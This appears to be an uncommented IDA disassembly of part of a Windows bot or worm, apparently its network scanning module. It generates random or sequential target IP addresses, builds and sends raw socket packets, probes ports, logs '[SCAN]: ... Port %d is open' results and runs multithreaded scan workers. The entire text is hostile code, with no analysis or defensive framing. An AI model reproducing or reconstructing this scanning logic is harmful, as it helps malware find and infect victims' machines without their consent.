loc_42331E:				; CODE XREF: sub_422AE0+820j
					; sub_422AE0+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423336
; ---------------------------------------------------------------------------


loc_42332B:				; CODE XREF: sub_422AE0+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423336:				; CODE XREF: sub_422AE0+722j
					; sub_422AE0+849j
		mov	edx, dword_4D607D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_423398
		mov	eax, offset aSequential	; "sequential"


loc_423398:				; CODE XREF: sub_422AE0+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:4443E2h[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422EDB
sub_422AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423690	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F20
		mov	ecx, offset dword_447948
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D6065
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444408[eax*4]
		inc	ecx
		mov	dword_444408[eax*4], ecx
		mov	al, 1
		retn
sub_423690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423700	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DA98
		nop
		call	sub_63125E
		mov	eax, offset dword_50DA98
		add	esp, 2Ch
		retn
sub_423700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4237C0	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB40[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50BB40[esi*8], eax
		pop	esi
		retn
sub_4237C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423800	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423832
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423832:				; CODE XREF: sub_423800+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr 77C41B72h
		nop
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_42386A
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_42386A:				; CODE XREF: sub_423800+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_423876
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_423876:				; CODE XREF: sub_423800+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_423882
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_423882:				; CODE XREF: sub_423800+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_42388C
		call	esi	; rand


loc_42388C:				; CODE XREF: sub_423800+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB40[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423800	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4238F0	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42391E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42391E:				; CODE XREF: sub_4238F0+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_4238F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4239E0:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_4368D0
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B09
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C08
; ---------------------------------------------------------------------------


loc_423B09:				; CODE XREF: ___:00423AFDj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423B62
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_63125E
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B62:				; CODE XREF: ___:00423B27j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423BB3
		mov	edi, dword_50FC58


loc_423B8A:				; CODE XREF: ___:00423BB1j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423BE2
		cmp	[esp+0FEh], bp
		jnz	short loc_423B8A


loc_423BB3:				; CODE XREF: ___:00423B82j
		push	esi
		call	near ptr 71AB9639h
		nop
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C03
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BE2:				; CODE XREF: ___:00423BA7j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C03:				; CODE XREF: ___:00423BC3j
		push	offset dword_444634


loc_423C08:				; CODE XREF: ___:00423B04j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423CB0:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 2820861h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448F7Bh[eax*4]
		mov	eax, dword_44917F[eax*4]
		mov	ecx, dword_50BB44[eax*8]
		test	ecx, ecx
		jz	loc_423F5E
		mov	ebx, off_50FBF0


loc_423D2C:				; CODE XREF: ___:00423F54j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423D47
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423D4F
; ---------------------------------------------------------------------------


loc_423D47:				; CODE XREF: ___:00423D36j
		call	sub_401F37
		add	esp, 4


loc_423D4F:				; CODE XREF: ___:00423D45j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_63125E
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_63125E
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F3A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423E5F
		push	offset dword_50DA80
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_63125E
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E3F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E1A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E37
; ---------------------------------------------------------------------------


loc_423E1A:				; CODE XREF: ___:00423DF6j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E37:				; CODE XREF: ___:00423E18j
		call	sub_401523
		add	esp, 10h


loc_423E3F:				; CODE XREF: ___:00423DEBj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DA80
		call	near ptr 7C9010EDh
		nop
		jmp	loc_423F3A
; ---------------------------------------------------------------------------


loc_423E5F:				; CODE XREF: ___:00423DB3j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_63125E
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4443D8h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_63125E
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423EAC
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423EB9
; ---------------------------------------------------------------------------


loc_423EAC:				; CODE XREF: ___:00423E98j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423EB9:				; CODE XREF: ___:00423EAAj
		call	ebx ; sub_63125E
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_444404[edx*4]
		add	esp, 0BCh


loc_423F3A:				; CODE XREF: ___:00423DA5j
					; ___:00423E5Aj
		push	7D0h
		call	near ptr 2870000h
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB44[eax*8]
		test	ecx, ecx
		jnz	loc_423D2C
		mov	esi, [esp+10h]


loc_423F5E:				; CODE XREF: ___:00423D20j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 28700F2h
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424020:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB40[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_10
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4240A1
		push	offset dword_50DA80
		call	near ptr 27B02CCh
		nop
		push	offset dword_50DA80
		nop
		call	near ptr 27B08FCh


loc_4240A1:				; CODE XREF: ___:00424089j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB44[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_4241D0
		mov	edi, dword_50F860


loc_4240D2:				; CODE XREF: ___:004241CAj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_63125E
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_44917F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44918F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44918F[eax*4]
		test	ecx, ecx
		jz	short loc_424198
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_4241BE


loc_424187:				; CODE XREF: ___:00424194j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424187
		jmp	short loc_4241BE
; ---------------------------------------------------------------------------


loc_424198:				; CODE XREF: ___:0042417Aj
		call	near ptr 27F08BCh
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_63125E
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_4241BE:				; CODE XREF: ___:00424185j
					; ___:00424196j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_4240D2


loc_4241D0:				; CODE XREF: ___:004240C6j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_4241FE
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_4241FE:				; CODE XREF: ___:004241D9j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB44[ecx*8], esi
		jnz	short loc_424231


loc_424213:				; CODE XREF: ___:00424228j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB44[edx*8], esi
		jz	short loc_424213
		mov	eax, [esp+12Ch]


loc_424231:				; CODE XREF: ___:004241FCj
					; ___:00424211j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB40[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_63125E
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424292
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424292:				; CODE XREF: ___:0042426Bj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB44[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_4242D4
		push	offset dword_50DA80
		nop
		call	near ptr 27B02CCh


loc_4242D4:				; CODE XREF: ___:004242C7j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 28700F2h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243B0	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_4243B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4243D0:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424472
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_424472:				; CODE XREF: sub_424420+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424420	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244A0	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424514
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424514:				; CODE XREF: sub_4244A0+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_4244A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424540	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_424553
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_424553:				; CODE XREF: sub_424540+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_424540	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424580	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424597
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424597:				; CODE XREF: sub_424580+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_4245C5
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
